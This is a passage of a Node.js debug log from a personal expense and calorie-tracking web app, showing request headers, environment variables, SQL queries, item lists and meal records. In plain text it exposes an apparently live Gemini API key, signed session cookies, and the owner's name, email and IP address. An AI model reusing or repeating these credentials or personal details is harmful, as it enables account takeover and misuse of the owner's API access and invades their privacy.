    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-13T14:35:30.428Z server-connect:output restrict: undefined
2025-12-13T14:35:30.429Z server-connect:router Render template weight-trackor
2025-12-13T14:35:30.429Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T13:20:11.898Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-13T14:35:30.431Z server-connect:output restrict: undefined
2025-12-13T14:35:30.432Z server-connect:router Render template calorie-tracker
2025-12-13T14:35:30.432Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T13:20:11.898Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-13T14:44:07.236Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-13T14:44:07.237Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T14:44:07.238Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T14:44:07.238Z server-connect:app Executing action step identify
2025-12-13T14:44:07.238Z server-connect:app options: { provider: 'security' }
2025-12-13T14:44:07.238Z server-connect:output identity: 1
2025-12-13T14:44:07.238Z server-connect:app Executing action step restrict
2025-12-13T14:44:07.238Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T14:44:07.239Z server-connect:app Executing action step identify
2025-12-13T14:44:07.239Z server-connect:app options: { provider: 'security' }
2025-12-13T14:44:07.239Z server-connect:output identity: 1
2025-12-13T14:44:07.239Z server-connect:app Executing action step restrict
2025-12-13T14:44:07.239Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T14:44:07.239Z server-connect:app Executing action step identify
2025-12-13T14:44:07.239Z server-connect:app options: { provider: 'security' }
2025-12-13T14:44:07.239Z server-connect:output identity: 1
2025-12-13T14:44:07.239Z server-connect:app Executing action step restrict
2025-12-13T14:44:07.239Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T14:44:07.240Z server-connect:output restrict: undefined
2025-12-13T14:44:07.240Z server-connect:app Executing action step single
2025-12-13T14:44:07.240Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-13T14:44:07.241Z server-connect:output restrict: undefined
2025-12-13T14:44:07.241Z server-connect:app Executing action step select
2025-12-13T14:44:07.241Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T14:44:07.242Z server-connect:output restrict: undefined
2025-12-13T14:44:07.242Z server-connect:app Executing action step single
2025-12-13T14:44:07.242Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T14:44:07.243Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-13T14:44:07.243Z server-connect:app Executing action step select
2025-12-13T14:44:07.243Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-13T14:44:07.244Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T14:44:07.246Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T14:44:07.247Z server-connect:output item_list: [
  {
    id: 371,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'Black coffee,Water',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Enhances performance and focus during early morning workouts without significant caloric intake. Beneficial for muscle development goal.'
  },
  {
    id: 372,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Paneer',
    calories: 145,
    protein_gm: 9,
    carbs_gm: 2,
    fat_gm: 11,
    quantity: '50 gm',
    replacements: 'Low-fat paneer (reduced fat content, fewer calories),Tofu (lower fat, good protein),Chicken breast (lean protein, low fat),Egg whites (pure protein, no fat),Greek yogurt (high protein, often low fat)',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of high-quality protein and healthy fats, crucial for muscle repair, growth, and satiety, especially important for a muscle development goal with consistent gym activity.'
  },
  {
    id: 373,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Sugar Tea',
    calories: 102,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 4,
    quantity: '1 small cup (approx 100ml full-fat milk, 10g sugar)',
    replacements: 'Black tea (0 calories),Green tea (0 calories),Tea with artificial sweetener (e.g., stevia, sucralose),Tea with skim milk or low-fat milk (reduced calories, fat),Tea with less sugar or no sugar',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 3,
    skip_reason: 'This item is high in added sugar, providing empty calories that contribute minimally to muscle development and can hinder fat loss efforts. For someone with a desk job and a muscle development goal, minimizing added sugars is key to maintaining a lean physique and optimizing nutrient intake. Full-fat milk also adds unnecessary calories and saturated fat that could be optimized by using skim or low-fat milk.'
  },
  {
    id: 374,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 48,
    protein_gm: 2,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: "1 cup (approx 200ml, assuming 75ml full-fat cow's milk and 125ml brewed black tea)",
    replacements: 'Tea with skim milk or low-fat milk,Black tea or green tea (zero calories),Herbal tea',
    created_at: '2025-12-13T01:32:31.000Z',
    skip_level: 1,
    skip_reason: 'Milk tea without sugar is a generally good choice, especially for someone with your activity level and muscle development goals. Milk provides essential protein and calcium, beneficial for muscle repair and bone health. By skipping sugar, you avoid empty calories and added sugars, making it a much healthier beverage choice.'
  },
  {
    id: 375,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 medium (approx 100g edible portion)',
    replacements: 'Berries (e.g., strawberries, blueberries),Apple,Guava',
